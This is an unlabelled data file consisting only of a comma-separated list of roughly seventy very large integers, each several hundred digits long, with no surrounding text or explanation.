10921155881652869609665933205671338224356780472897304063083088889395938285473820135966825870739261787168715605583849488620086560521961625404698735302670052577374871946299656040125481805780330940049722259711244723584068771100116710170731990243981993378859663422180581706072432914386888707243294246638229194615133543656672796733259502081107035172937898893369702232471711720189378730075176225250768457999947917575898270643612924009871627593078484876879812770142959826121397131788658652681736663772835841868529004318753648242818500239546459789717929162306194223109470499921811566277847442692055143552423960982671888751379, 13502945544330121506245173092042602719766206930773452523150924564875332958597945215168133510321391092767356545971586755777243297952469106049447764137047728608506233546106677064440830448398774366226182093845650781903349402158336953063244875660026259278665460828212275544396722181934080603274687359335988287104668239561438071241811193042264856959037549464090624061616317805072700627614621547894381935040497487576398167244146890516899127945701243310632155239187420953687229548788471547600759423390594893411750051114456891765383337505833298108837399234279913223551265194595125141315662675975358154242531260810721091168130, 14231650934919609121953109270370708872555201995443515127998942284850419568858465731536071394998977616471427697545958117273946536860632592760071037733341384321908948852879109346827396361633907260415165475853757137767266547391778389552184779811336915969108013908616580478836785403185633675530106122097763124256213583685689491805064349288059916736673212167503613852350404518261269779138480954340609063427290939762568933735620800882480424824832949022528597626971347503462509338793239732692453078099553812041792853850650141998738223246428431372094314584688540719081949201342911364450505320979057654482934300452734551599338, 13837418302454084892522797335103882033427895032680730811213223862487574120639067406241863974270233990519761211692078291210782441478777105356669102380326379603233539331122513856676968070547716034121504737702105976261900851239795172134868824500380419500319519941262076160352363616137856110414836765515890435816622916246814377743475863404845936430220297072299322330323625455428505061897461790631930565298547689424901493108544592089288871735792929202103888379697690511946647925404395932180911628150445627209175764441185475737967001489490786039614683936324389623415872291668667341635078533245875450271469849901629204612704, 4826606825742745183613669724307005114089938063034771868288853536223347861442719319224101398198873985321317884008393305616897848682687125840863827531269029496553663250412034525235773350647383821293995868411863930150465605483040282959445663334461574122725051490758020523941723739367003223720386011777882377375593170199823885699392875000437591841495139451356083342813957838532671891265715389443814035896328280156649153637111376957900077511951721068701851956389385809790287728109415651819920032339081196549030990744868444508030312005305322277216079326253284788009856168829965267354792549688471625749195952767851237888322, 14577251763730872959322025543586865626024589400647174959053809475344583855789168067375055135137378725494678299944918789660016165154800312109195052355388621693789524470456596034747697643944759529342335502182492484834506613840472404959962975311042052061666534519259264699145847155034791815840344028433462094795962999513019646479230743789951043280178270194109274382138393863442700458004815721185699070772279337797880053457400118793144040808280622982958659775285783233740387583635993137157139209929188410216207595048167634117973473902740296576844540305991658168281822663668641165492783220189994969123953846621227660070012, 7927656852448914019029988246629498679715834491056307307191234184794128103888816458196244326858496301629158932084428740110413350512112605067846727547727816234775333495220525913438818963301152668799257762039399506422391741752900919697727557914953602299946994881871869901590151374381698988415122380710230574780363435968271944980739001099085126644303864974242000106365746821670856713633261355487025271652221280881321577804639587244700806182770134811608816852744072804911532871960961250872581559875369556450249509627662381155468434999727348506035646982224697868190104727881259222186245308925675604700795863253835392083091, 620267600204153619789913807069167972459624845017553194754290581805039245569964870154616681838572640748903084224563886870256005657735878377138304137414743654138255294249907263090403392260981339752190194701898198761549769667021159967332693229580963785394015818663518471703792050149942287773314998975243045503064784286825990459893539709579960716309697354806647785917842237864578653598802120539014404019516063097343545542456756805063374142033550173121659779905417114395576371650563849639028946798975830840532889487882495816135233756810107804205685897554912972877620416717655595471019604445655214282074628749889791010212, 1876943923808353166443581356525290571102727135983759794091988352777520439430021288068363525771487664630679210158670943127184093293933666992201491936752376767318101818596057505575574647863942012923102457834542708922712464619871850746398126866884197445501403695717432968230536523409125842896173805647175173867517793507330840615918464318859952675563299324852165192048093834793508355204862219252055844472606290065921721101751322565362790378071976944390410775454096478071519378386836689902627147870474322694362268190070933716754662263569229449636358587181594918792321240332665421132131015390358202920354015102863093042570, 7816938508321678362339733437997629634768395580897485874009796669382990813724915718170590762406061730871423236515614597910082661744284433537071540306936411790345785031504146659345977150049441384547974766738958003383784327854196431639822426431790929672920085485598626222154773024153105510307906924683427152750009013785096270540026251477494199927808222541688107954382428764977629578868478745910807865295699852333143727702904721880943045067549338706358419092691746715008435496375260291090039835422606736364900019708671387881059506090796280008249598328994431901241994966560976472709885106949228840289620238728498820701028, 9381419320085926353657420008698841512971503473905218866008775187092477854627867083679092112014289346743550661714177825411964449494668006051549025749305394008472976634548150288097034642196974071195674514354193546807323212690152582815305876911239511783147739711708374644188548751287759010557736296423900710102781444844323066741911134324379267727902289373434450988412065822142731230646521039587645079083070916426619802881027580448274917113850218645247464301506815941111911350708523543353162473303473480679409582131072197914795747691772717732609521478154429335418745111075347509187950511780656649168304663582914227601858, 14589425329804367196377949705629747274814891050597512278986570239696565260482695052935875286037575810067731845542890411179041784202125002477821774025633172972643176721169592746506762705944229980948496815539746464657961229153842759614544401114447581468006411006507546408865865467186141008775030864379746995594162447611881229292827542625600330698570038047643095497036228556426981614464675853644275271372370022698317935486251627081669433742324307720383052436597336108548757455392736660860945566189395073611140650791219088600140743378366775098197925483635128815883227449110735609844753017306712918725490620586658156506920, 7638932262546943160382012150762474443490330224797410115006526616212732560776674766863188274450789399781159095928933339188053911917648370210631373888475375730791521566505692721183697918167224130890467697198572392238845867732367628119931765311341466807633986197845789521585443263148374109945159143958649586824908495581718696702860899364712475019905503426351159637646588179244245544925797163424300190536765884938448388240874977348719016431562431287284892218473247913920489687260575076841033925380875545540753217443659287176653308753081302902543624834743144754553614564742479100096602045980008761218548693887208850847358, 5573162790461938911256326571551089048835924784711152773479398060043252770534616955072221062550672045640366084539155835577120551419676941501624144036547986404818061247612944468577034879556759542670111087395289539456578207374797247228875141617254675730245913746525829584752492129184940835767437520993868125711052439604778800481870710546124783589359069908767219090037274040882233588866061138879189978383426720524326969044031180365386323600338273861296373430538486341285778907150765038834490958789670503907777871427990359414353773311334096739477799191052557491730927704843822028940227271978585948884055361256508978404658, 6316989328179454287926947791936442104657384107224109801362070607417193232159011157938475782206392290081128330998210277107800922524078921251053626340119190603997513636971902641271057303272594828645241990147902212213085402268790475875361301153951109462664705891022098824861141729771714967279129245896495677639642395437380836585586506963423508262822246581947484224202697871588143693747345262640022096022735797052817071349963152291390760527780424713128850429740414120686131735874605803334505474698683080782887991502550241423809893608712391603846386528486255923824737060449813927199792098970478971281199454801298311723346, 15169537484966814509575612733481798158754527049470245280839385822863057232298800961021105733875949545327020153892790791962669727562787724265909068925074610112044015107429166921510816972263389761468600154954950586673418065736367480879751590513123780805028665758058723184815380213822174995737365818448337846889751344762144354146055097839319587140978363242598404389657459367707428645594337217906655774220870147286105403244794531630632730204528597527209561073227068752015840085463798179002702124719392591205376718565003771669481600980492503383677029953821606261000556817344592572070467939385222906571989628102977041849993, 5947593166577364067359008003762446409468299168106893257045139526125692496633332614149966463386254771703902406475943285117899074740237093496861166392407741426698478874705803152064094973847007740596658716313720991658881452573261540267297932676920999050387180386660288547498933954229699792634750080810467597647931613586692444314446628718513435688160430846129138818679239139046523291289820137665093990570323449045644385574598452088838555446847085627765507404261594462513019538754477136919625761915714830185126275060015513857182897659979081896524524048163573916254048216075706792821675071885843851946803121640673632324959, 11377205506539563915983491650452022972872521196892589677191194260942374676469409473620646648018418341118355187991400998528615474082650284069025006559284422003291425760985298287978678092753754556207801186968445777658396711299465345658445050414993138336124035663319130102368938598222399419847969615678113890875023809014542844328689758553531859366329506023439385670738698110934976148421488833153972680280833027746973987933676057416015100520640122270004871449535176192678030314724463276458632330960583518025079732002231708356515969697094896221608046151798342472231592689213650455163045489302277352664936603799473037171028, 3067977817696661677415228507782430971721019126520663151902677657453674389847032503292137480212135798109203592140880362423499673414069537987516086542526022276824959493053960717106599496331820903492710360730873460305342950427378740560338687428924344388534591105670803945873128815263573345158205061131667140576353687264989736125614597240700365344847086802098423652159952879298066091846053275694416001758877210174119916495877835528060119258365983302675668351877364801590528417114159152650516002776508163150956125637238621843517207119296182658085857168384288561101637190751291008584303890685546113436333215955640252227265, 5744067068969497658843411627844598730440164945514574976220753524342999318226678139958499226226139889955728181400303932559928894797395772522655622280554922836832123047145860879608009762356295099371646596444623528540713796692598948149849613099140301866262343669578444096542870678391789363745552874250971282391308514597390785723706393998021553235965540364470176056135884330700114907337197140871073039697807291758898583928990394134368952431643318117512213097357124651810145781072260340011499623163023369647891390437826039023659642692307074831676787248948927172585803689800692799330692890530479934480800096292571821266038, 3728013926543126688351786139913117272019172100201251541493625902467267361319322392246476112481477712239677919152589385973277868390170656320700777782394012255082253352988640934461620526573375158851950428085182023803190799750686288302229863419494406196009088644723761771104502008482808054128084963090020910939807751362720378743438771185755244414851340614475705766206978173067044066824960602032609609605865884927087523450593790603174231475805204574876728307375579867618029736136424028138242771922953386426893273035376267399736944742518495516758531464958711014928753257047050886099338585048756267128856163378312055863300, 6386543051846906069316411939619818474700112510026718846210736801894291572975950393443398430550327450073831373592910851141819281890553083067488544518976119219798965474991444478395257462203479880306667656501512596509833246546654134192958717882506145623138540040810173742865255127744893123164118959892588978356837745843349796686892563879662884844737740307817160214750706073095364614877227522228152233208047373175993555969640771669189465212220970037725171499193598860631796397544923428490353241486544527338245796316802854155142040107026911480593831160061645752260923098178483757305941231517659873049596645667851210560663, 12810054833044488599994030592725767479471644635209917557294327535820424039565282830818401148163021009453145281382263269016465472076077570794405119395660978616327120612304144149062733931579517936699819521488270828771083039188018567432770854279053126941694719685509557356153320872633156168917804779870820806255075217895948655028342272243709463256186480784902573012267098198781616279706411836413710518707032425703222517382232793049148183910088016981397827583087625659284764260751772939842006336991839053437836279248649756882525183715232259815591179259046327395571253782033183525635405420333996279872236030648379476766652, 9790861894178265138649329957975634097004074085609830164719287008550575324660355068828859842461927950485013538348281063808609091900888650504159020131299724939490680445278083990146020460986668072743823037787979054203545372281478036875112066978495243276276848502702351824832483267450587584148314219936466464595820889646540790610171404552612649566885011482824160582569956437449968554437751076495940547429716550219674616042803918176460107673822704177600034220927583982607928434690394336185271285066667863383571505565319676047286936690527488055878794043818821491720029450560136183322496274566147648326263098740876535276226, 14941928582815067425974841172190574444378239822879338173338529260995627110434568877639861590590054943779607255385077210838082025087159368814341551968261996455810115010305194881702969563856839888616117528076294208230476328244525725711451130713475807878941722207580830194267012587346846221365590101243826576266414119248754405195132400233696710187319451958829752315275085866563135642628406846838588411688752577422480982252484661298424116136737484631241981602956131376781197322193303158443968527005443683561826196117528135260067611984882324014003917219138211001641448927103817684481070094094312702971771963261417991597129, 8933941832943017774683760646724508907623488386232262221607013288054572556813776780153217640078669875258137020067228202217056367975764654249354514924648225836561085285058301123641841401430543499351852636063650545231333543938933601359921971539861391300480017844386840212860750146278957403029099461377549646187649849626604094799234287495908914067451661116637174857305934937242289725790521548213794680997519700870878304639389736411222025671455280701740545209723805600882955359665255810420494789178019840670932016226648021594077995146011383621442225715071796671077500864299691672137015425758710688263148976286208742262026, 7189531691622164883663509960181025858001028375280861439878680235525305787870080796042295254315145269383918327594206202552179996171515179605428484916075922713182971786851277134555861370984545083669895591514463050399485841684193344210697147684738962974497987841410850183336125554346866419938469564581022460590835273087019913861526168692366943084274915423319915776882689704745380953526045417912822776241201905331045806468125000892722875855774206528891957680476619452424783749131897935438670356985924178757994905405043577777127814373285763420993526142269793013694362731021567336384732544481565852640390672715358542809537, 6064552638802125806427451167589199521889900865354204125678997956711139492800749589314218614351469251844919098563755809578414211752138055138605265545669041699917824030021079067848795894867547448915492546654151699179563869074024043484553677101518155583619787991865231413975929960385270642023230607248186500606941332522981406294848203752212684946308815631554104600364896252127457478614107222383719185125162890368509317752263574066985639169451449376089169187856689369444588091946263358180271376940612902211771059112415603631270736667411360365153432511846498195215815173264347324606427284468915133236650362977545442455852, 3757672169445264107971423071814182131286130661397989225341545237995405450632725345668027136571542345590762577806221650654440813495584710638745014412429710851373424305084991948468850468108434785766418588531770782872101548942403538716532574928038534558321701788527663676502191260908172493136215409032761553895601511343263713635309830572671984903006985325600402720527475932658255467488213990237822064945848005468719912465872148999423080152087011892439228331043780727161279337197729038247510658738147934424545004369009303555100707166604122283802538534419252949325022633255873513181883152614985949590898984093998647145101, 7932455482274849843856157373454039138379926112646091062461473879083725905937313647324600380583326087481913244603563704633383358340388710872803906662240438983902137177138130072365465362910571561699547260362911924118694970696694270013978038868433262235687643165491418213006433193198931513526352665462217397612407014196565462082268595520498079619361864807339282832715085812975782031986461499566087134476693937597656767303493461606062836333466963564390635712516027271045400640760434116765833634778851636669957160030537847948784324897314979961601315370212303077453007997291016299947132405718353297358905824255008681861155, 9643055526998971723550136917345820148408543416998860032745612724628548867044560219596393254094190952074352612222895431521931683954942378758887921276127363349921967622249056182308898597826254757140529220611698885141373840347934664114563429746094308393425380970188775152045908627628205872142493047220330353863435462580164896929029103159191720337770427661149456927984023689170926019260487654653486169259046619471976701651137658851891431670548992838484919486390630400394688398919941591580218963552241515606018292491179497674927125233215719232894406668298041893377130568935915747724926618867327795385631024828666992247290, 11991291936384249369299698960518452849197236702705046670797230536490646232574266823011882047771871263563958928292883359281150433470733364761531682307281015423233797307425849390952418769772954627375847688808019097402958253279005305321654839119431551961191267150730556191454563985326459151647722217475140922045123105154751577287911472133757954746059443387035699642090684900338481407677643564521515154732780059546256650900748321637805701916685766926209830275004462112351935656979999855501616137571087167047200300961123034119495151020236218531255368763429034677260560791839745496161699745648261310859430418928259838821877, 535432114057863526721782434773060476314783390601088957460181851546342640883254127412123051617696298084533237135258831964495787908557481727452476303462875525899468898542147490380334856449499058330928205011270209234685730723864472225095065307769448521963694951880858407717685485624188152301124295278231651350481300454923440559384718572957516483393533015119553955205313334306421947123551979954996730191124604715274005878039845010985536421909520112125609958397202341572239768413481386022216928426614920006657747275803129737848798924377678218828129407956211537817653888774942399161098139151280345135324439924390647578447, 3220011893134401371685402508709570472954321680147572400748655907736116236949239232471865184735935060986427421735874400382323708661778420607205643397120625212149915957123206704115218408307357635163567836539740291889649945922083575544531026407704564852193567430337899525651882563251489935659434862239585931445386182900475111383035782777110957999260469336596351264088257604776954552644350647123373029487309225329173370793391298008274549644140586551594364452972663976771502258875569895740603464426584624196673298237363374673926922455688177544649002555892994236167532271023243983655761171318293792377113542858566178496099, 600122127467611861535587750203240963722874764507701038574617649105517093473305023944722040981050907794894905212292005560707125161493982695124762995975561806023413711807655068751569919597884466936104514030246037470131236752735283648245689269062142040919305342933627639120706635587037744802907827081604673022771273538534733872678332193744014523171816720033663200154852989866810664528898786921579631462648683949136354120240536506040625155114361126304505311924724932810624031883431945425014700535632983003379206542396676369759375253708692839310942501083016757146084672651607696245154073463556817920222804497847164148919, 50339512756553218623275380521558565448522193507925069318597771693335727558645505269279849795689316025903371638062876838537481809174578837000746975150264636295515544549565932864086631224480476618397606098787650961842917904322124283224278003752654627557489493925252640851312485394751458689570792104787835243865990881912516716525586110492203669174057562631787289272078652486184361913997429327414173045545135047551050613272877244505569286519089174641129008448747456868547415740807138821776024579954821689809965762676749324884212104363300094487322179875649780580332349914589317935624904109987599308152755760109143998751, 2224052005319063310384833424571934114400672558432404242381905814511179810742030560350177349071409363750758241338680395569734118269781584440271895990245604848943806635157416514113258827374454952809970271386110087207508607390430297238397541176592036684563957770694483227502809589049390218716580287319602904576531353794449649752291506567150970839094403827770723675015315212078408652075616795416368705882795103845032693417192286782410109366855505313733288028208468270805685771032485770634904973630137084989377953129799398695697242170165528481764660518305154014425898879629342906389549414591962229397062951169181957613772, 14275670029178714903570161767731192958220334072487644021135501546154111018394507711784102560675898728703551625745188968783353245055200924545127266579966009234810166523868529387643082883396920063132158864801583422164786381216921410297796749913731310404282342028039015946530818270526086443576375122234693984977205437699084929093584215611860806604287366917946728372311689443012961954819905719979378291190426781986119706110863100933299963179506166416418054362453691479338228849129764521228492880521802440955679378275011329235311197539812660608180724223253704604510134527835590821059331109458744742818858846356253593919531, 15185267432573639872076451132381569108753197506130696653478204442671128758434601622689459772629495431846087048936093224045313962183756777493423781016880600479033189411448283857759357851994434290310594725722879282332643289647226135888077467069738865968248849760032499611636818992667031741275200673818274894399046858443812683901145769338502611405193937143715627051494420688437190439484530572665252784950524954193813471431595615326555357362633515516288947994386712464157832892920276023462983548902705721189213696133154874467828534425941602843750295170291794415853195885281848637800437396343242095744915839066120343669835, 4879612428754295937996584844091512342716460204385686317553157289975002514620577593461029415861271197762441172875278234911205482000756498339763036950624564472636257514773519763666991573860894276474054415661963387082148717148767197550421064139240397093639320406464471250749794667740342232727466890999631793412317216638922742472659285972540106866101582942494555088578850040519435163083990211708703743270478476125112243254909428357352375797466497456095306901543973138659960199424970345513286107351069292703979769192976611096956001669308704595069094064027759052255441962743707680906571973207705878800116890860845938365313, 13435769058792763769626800085331577749241311952820804865145669377919625981581930666008825328077571148346388301555592609695394682396961076513311737816689884586045473971108663893952535731310042327943385167931931292074040099579338736066141894121948781791059561614055815752555628118995199961572248091297363156939872455241328696005013936781034371134327057601448521193269957794508387807195379773273424271775456314422342642329396116104834938471386558748037037194676893299569297051408737690766559250385415762912771492157370721855236609757206633273674544752588311049273127701476107995180392366776959962073751358804453934264822, 5542391033984572544309028531389422971749386287310398650064759146056388139061239743350966248739512828662896288019520288789169620634070690325846524902738247390553179708695348999655663004248286927459903589852764109482892918049412370269451893429328376067510710716929724521128037362408634829718638989649378574944664300430926714090821349770630009233952908142218164609020667984529215493287562346124317275409239431987965976823163648426455033785427976663404454759315964366873174968697119869398126678051558414223741447774769077630031896415254462323850019653881007037612035431997632863402935959031120710934676652292745987552564, 7803771781604746567978670142366176211984105434265577521767049566379964787078616070698680678168611174665429405417360935498034238714028357563441325981892258003864290346670241911746376332239643594850716369803549246294442214035293785034621922255220635836077225479352277029220291866614319421647173230321410480286886004486084632842728845734298495565712055426737629190015118447709093852567572090746746050779709718275402339813672109898743347121206272493894060986200601346893915910976840657529593720977557535780309071909928945656096643035960534235851024503316616061477903387540114187195071552617153258585962762789075414254915, 14550724562704244944703001094464708866118583220140784805885627719365556627988376278754707689093972969349178721660857614321368932723144628948795449510718735413720101787664412941833526358101398817245437043857540957492731059840934120463645319480246514699946076556700094958280111962658342779338550641756163208113946017431633955439422681536586526992494477394950159923043083987374929069647572056298076586571294730893656686542747475962224078283620769820190726515470370511343368135142558003358091412606728280151913025167789010638083795849306759853030145372320263447336943700553613116285561830879718369554705010982278703015146, 905755239615698046917022704401444719058830696106792105613543070490366423294837441201806258289017784280371737165348249248540854504265831516849018277416932866299336239106708674975914941807666993305750374858829476210791273122096544472833319114105444370634112455342146414479012688814172547960236061374911624282061363046783557923827320816913212999080823079317544299850365273998799406681848162954685240532278613419809460514237902043544840643860358949307003764990315636348667272914654500775652364776790508549048920659618418289189390271348289806007639874838125860129786731187213522265469446766099215974758176006605295618767, 7915090956224022374584153035329677930760602324913366274914099616372530014821669872922029199280579673718360049211187283454036357627703010146787272540387836186310970471921562263287618743609546828045818758877660800866975304702304781145943396854041288746412787575424739458089628221000536116492000890424249362235871273868021938168254811377658319199786374987384702895144976889493294593285522270424742879586162359966454589990688111496105717457074774054811268352170360883117172702503937008625176386334487901762750645956269186658184576645311174520095229077940637672105837937568215335574573338945448208463183181650200574319521, 14763393385290026733197984451938251764500304950949477862517410602831207505119757773656807829542172390446444010290762471320179908128187311008089883939249276413552270059861673891348215695607497457666677564123060846133272837927596708127198103339476850512330365278945869327209254061050089506436848446321763438343975374446912256970106369447492988471712481144621850019093302619134925684479372890232199060516056309301691572273855120229597177989013483276068808539109370117444484829090496984477819390567872497246027312176918926335452602762312180977819584817205669476385354295783330428298399415009867697107464325775483795517013, 2150968155803335913363944655799048711177756024031497208561219369184651823411896398206103053008309258010856227320307405212398634256897082660711172072445776859641396686863798236121046149607393813988895924478736961764232731564685259899357186507477452666842292679644633002246889962808183301328196650745647952049360117868327788634205413595767393904381245184639956811757179108236180682995963146514385252570925670308261918433799298249053395672766651837667338857997840793025021032238040620474800360217807228451120850980707687140925278309225341530944521350999129746122709712685871266335998732036361963871209292594802524064101, 1621247785994414577096336196647521349817049804990384617464952973203230306307857922207468761232737599901164753791285580679538889344111919552515408202260470616459201407453582942612182465243477573071487434446380140259238805756369920645142256679935674418413360056180189060733418103577103670612138756542234369027316020275787436503010486414069881051181338543909351746458728413404815831543169362161966148295895116811244087835995649375765604294021158802779625502233442241495631937176464502661240716265459140132115036716519930252160167771008304418744537536306813506291748023693113555720799359629144460150230687796932042872788, 12653661263933313158010445295827911078052091969010093241210145578155754878979217485399410281534812100929813010419860352532224967167431622421039500495670810206747776677024105707782070259562367678861613287932741930632463012385574522104482010838696309575292850982449178115041161849285350620692016969038794022625011172869473379878596332964200046446381652122309043885596860473594957796503920623875922190031007438114222058453968936876256694011647084188329681792420409742872685859056145064002905732635272179892966593625002291375760264116889957423750594473358096935392700461707675903098779964480706150298843472016713620048481, 14868722585432620007939501680935571162388681421829578513050545259008979163047733359580356950992297756162145479919874655543450474972783321515837325514292960384800177141171434665364085523932526547918297799064135332986896875066234825475731881219999577248008180494593013499536466162681794510605863748906242245161867234483003972786162175485163654352303622782325270691241062282845984054224234236940136336914114004334651661957510036702642949240274854106258897602782749325959157882539520944440616382180589134596567236254739911284646573457452256101251961529913173624227884785142791559516096027018563613676698997529068628822733, 2904894244506373336700029430295136170411787536172583592934412543067342684987464336340696718350799815451180187771580284274606287155951795828004750429529935433611907342655713466726831094359657043862784742242155071480001583543128061449385899856663521440050916449392455867135588784009666418641011960669211873711582367082203767946431279485891981969382775078654508040570714070407148618123618606714381513626301740190610436677744321114469663101719306727782964486133073639902742507110277175711469720548065188912746589626340332959672786629839002745179577537221513924970149632442104756092464692305083515620327704751641094385712, 2311496682794141631393420771709374663788213994503027855766651012581376335568105719704931207071834360591533363344618424911627157460583965571525701960142929716584817402580657054549277944994182188715943759153621765610865466204024604777534919347801110823949525986038782321751457918114396449189991652197873390916863434743323122586527929217668867770082227439982318755730818586524576788420303869223274094565266573748173259299969551921482979793337870335831853130918886855205947289802728270019087116034410999353521654557806069182995651685981262466235295952900547714612846442390404213099933951734500758673006253643940947086008, 10117897844328142554868011629224408328585879959397771398504408610738842585832539484663480981437647194604214719909992685051999939838608686081084682835419220976398827848486553357549292079257306403769048998196611196561240954606770601361727287883238401093766508916929317946918613324823317362092034591318445144066546042427273019549300258380921594913902001986306589011965666788178679331145858966700881551785133817763571902505550341846611179695195498270739226440723926356944662002221523572560249339565306465693000039318230644995458965366961356285492950000214489533646952111481794205036614639206002533823601587340295828370994, 4587235939987152175190427622584103868490891054186671469570586151463960185396121234316968296966658157649490438346603705741652328121958970674137717691454750135392903767115604161170135271543963021530930855146085192790012307386121668276002640011779029154138658580327036934616621082855150383642924499744251880745845698583828788678539041126320664372702103274435926243115370424243252889712645839115101399022698426928357971647869985872493436862410636864183762039651239072627781733745709849370970612899905680068907832445824298091930170205048445061695862130970435293211407006758107672795911793737491509504926456944309881982063, 9734243771507223400094729866441249064234301630037137864752355688924381135451313546830773230943980367164348995891412212472580314086822048980792893434887515259768178572523325855034106928532755025161856955313795107129638991679291563737375919707924222328928077876871539786925901609947248420009157216012585857479775638683738435966114050922884170065985793065933136009517888090205235993284455287104589783414595864852228393012276776801125825410251453177409914255568146312776814719830324106891608165166295787305704926397123654471021855824974937129922447149099718848275610677870680266085883741199452851548669728989224343773899, 9524751900640364479498012309668638994370791138615820974704530977866085132715519345925617494448306574688110083533886745499679597773380168634659545344892684471115029107448937323479819452236047288512404519536913021005805700886162005889705833019328032574096034116927149229382109650209107438127718273416332819082241516461246218171832411347554172464171271404922397966941970036412217244448896270633582359944514721065762586825788974097178203233796669379273528649226152448864312976163859241159421272655047597802459138931863223442413969604232069832565562247016042938436024799287903457545760076019985848859749690917845223646772, 6536915891592978945445369842251656498817857264239331442302402420830049783465718638399738625250702336033555266286659420999658949721040058295705470936793472139728282523463093820651530965374114159399673584545608457695240826571324097122201509456482155547042374032378324715223783186052973928587715806499358745492990058522318345804530601506883208009167959005089483148880434858261422179323896484164697984638156491187655636416396929931051337507799269484921436422842504413949274990535494507570031977133420340615831153297111063761288062839360540272292814673668750360915516864560166129454693186822091335182502264904371159907778, 8763858311153858089091251038913957850703267839149826476795030913273996626470115696111847365469625965769187125066842162573743556870147225348750632232589385832850469901157234182162636472802018846126743882969651303207454919676503869442938104055296302254346374346068521381054011081656169104186107189142968206691320767308294152956198039626042980846365912306582669367631060557963086678191807496485935313252293213351419798785368621926603678401877114710179488096702539792495997898049561883173993589662730552278310429749628719178776133541261696625011729689561072557382224732997323017903939823849599038253861922570822322820276, 10304055861959903628564746443884079658351658243993068573334889760638463424891184889804452600302018788263977157330137399626142471493238810579422444893878535949408833748921231931032995043898521179338062501479622906064161406382177363491168948613310101548224936388979895595210747899639710435519855324578874416098445986110190998007657658033137332895083663322339462689653087716220505926783192851034210001478545953953772290490457886936536262123353395710736192964692912144297136701462808928618872742872081662561345888211317808837383489883198622178140403249909951015310658469409501964637033684844744097419380495978652378530590, 14726340382389201981076355990454933749444735863353274018300226923350606166798930510338215744409551071236213258959785941777543461416888515060553450080546945226599930884021760578146826190380243514334898926029752256996514817331888223212619376148871600388912836046683943461422881130821982347868218020075045505488203309838213572747025496047530186362804836482205802581206392014251998733184109739252212944535175617536446089111640943152520037225509511544609062905792894323389603110920435919909102123651652804588698116132704777230659415759240970896638436469245429551782628368860017693353785302248876758620465407470376132883291, 5599860591487561964716668210709891276819258051334913329818114435055876802859146828098080759330153387653100119476058042742333340356224138052040431412674919105182622428202100791247156749801060922968286951288889779970763601729018054408835615249352231256072020958589483732431247365364610622216980952118970314513316676713926958581047757755493384012279702207656487266731989010905367063579901512845112407021906532052363064361920080023604157294412015045566167604691002342575520496164358789503582587448492627476170094790170749377500688934897762307400705306084636357255443809776613633544032895760971886930192529742051400685987, 7284681863487265391975348919356990710834427830336211658438794920413778371087625936301280861476846527447690148243948914904749064651294882224202880958189781601006957746218002224828496942001862919753723795185985913946073098029587410312298432251663639205394865772717411252791851102137070740003594281594955971942314927045536689407992538538908768583435958187052292896998345905135095318114341622140226234431469947234761309607949627578172259127738392293739648665322872160581489980676455114901454740866994466438467703214080056327294705089107758941278308992503990002210564727054321740584996808616669732313919614946481462835844, 4218644104851503674908335618324190458918353640979450709174985494086644772693888285345167522531276904407777923519727833040474760645218964665353871865271436639445357690968793378067696265886339698761047867574581351892753525140266203868699974425144098602963165461350432213438525620306578396107551746424702245896304916951306022323518517263675997918680052333918993848772489417782953820606330445707231081343337061105927736500164328434626392964708808370826632373594538269317810596383026952685342820735431957139112915830275509992720289836507740847425382215602427538451767264337906889870491464577704813919216902353508958675657, 3672490596511566765203546014934906368981891296242298837341664823952197542718959857623660644000502506879446337926287940783604560248421940124883120304322804336373919042114401423441194422550605353143138286904783074470904252416656295042859735444846506089150768814937568090874160884780625373473660653610401924120876477675798543697640619115545437655461201340595931043277002471886509228395808759370374265056026024599676247165157846709075227706409801838730206264031201772589426254176886587455834782467084855973474182708429093173554162692807917064547205153992896789225045606490073915230867234814142192039039186977582623541991, 1280207537632386354095168594645745139800033256199572667391263331571431259341050067911945186686482088984279507592101929090568530563742757379154439484391303366642876649942104475779358854097707219003659617824423032733996209532412339358588307580458613840803495726952195629346638462860734997635900255432451049953558399424955070784426905987448831573109818364575601864657778702125662281705821672639181050096970500037835145175609289872368106026963689041126796876022753001062422368000963690325758995290294034719103020941655230530849890614499072659200706945379797175180592819900448774517610011420350291882830962683544583361379, 1712852887288208728850263360102828405532867981117990676104988275083835100154395762305155676788845488123596618035049120063817401470764810516234363195711980024295294614580706542069215574499299259546748778488278187721616589927510040339680492857783746131516806864166248748174814753552178483515357540746014581911497410907664268197848854948390102048396788624390841066138941548581656449991597764113606784331561791669241168463770037794548948337528295591533262303994768702090891638163379564489208107657803500264384269033874779467352375563064216555703447802999052946344733781030854695768291023706244504481654025894705160680367, 4431355620488982649161592962565317592196074246840668689829552685975571072898550308441496420304760549363267267015708985131070769668873215698645508024032418557499365274661957102501603200191497007292017973265519129480232872076410729880412556049422997162707500159504193181621350637358277536523148862096467158234995065716025432547078048958330780122712083214706241445610546030345699525776977421932192560015568960275308076897252086297013105798511322845558782544907676153848356707540415892940997174646395180426720560282342215294174764345782226301366466949655945763440960802301845483963562699501549284665051559641116730271064, 151880862766790267548931295384178655780310339535162671301084454000351564148877387201522010524511060176936135824065717736524998485756807491787511598453859426876046152155609330734232088716456827747028098827416498908259339363197706889262333376164123757801863624888709948235034878100934110696685851061820438712409402136344081182176180861748936207257413301575039067291144999442588261090044098295904832386037051479211241831251993693133979390359677388164592536832362964085108253933527515566044108717185372569625990349924960150872967742369156278005696911801367754186267082039740015781598286019935335260230154588146194474570, 9484034931276031132531963944651896350789895896461790715546579215176264719586629759948604137860443744326010201227145091634385183753289444978389776884964629188781090430214095938329292803406669876372175186495894744319714804810337368997181185087019639005033503349417399678480994901307634080924618023009074231824044105422013232607329336801445993122319744348742586696709304431718981737020319710085023839524741523002295255110491665519227510455524421206461155186367979774733323367247057775210143794465781289220390567563119466936158692159460076442310614834206342665950603105627872425864298849858951309156808082002452439252375, 7571925654760390482758163502785570636415340074376395512511566382090898408093888172845542299305123480557092551728329622043703281862222797484472838001769316090333655971518390269044280128908985547295175688556076050994514503756419730377240772442932139894970565925755864398733207809526221895028302743654815358965700847416420156786060644227496789803454837651514842218394209521547888532830641764547720707062808483281932421750470631335122609774959367466533836079919921467710939774592164364039670117932503074903125902581093889602927004143379512533035382317879349531360523514706795998894620784432184964950988980909595752363891, 6407242458564458605989587511182718985516094933911484897577359717780776739986097352338695025318316928131020600227581257631946183306976157385836796808768757437700457318945886155356522094058824299350704019049355567347950163298841776910197772237827631473999655276984027656436342326224553937882149508139691242015084311118170763529246433945081402134207122136801590156411201768445377350965027810905600921023414736267008464560948603367869469615355754125562183214690346459023615799680037125096284762140484819908754476021025094042209800734064256465008427694884056306700228286842316616273574024985156127411412421276908819046325, 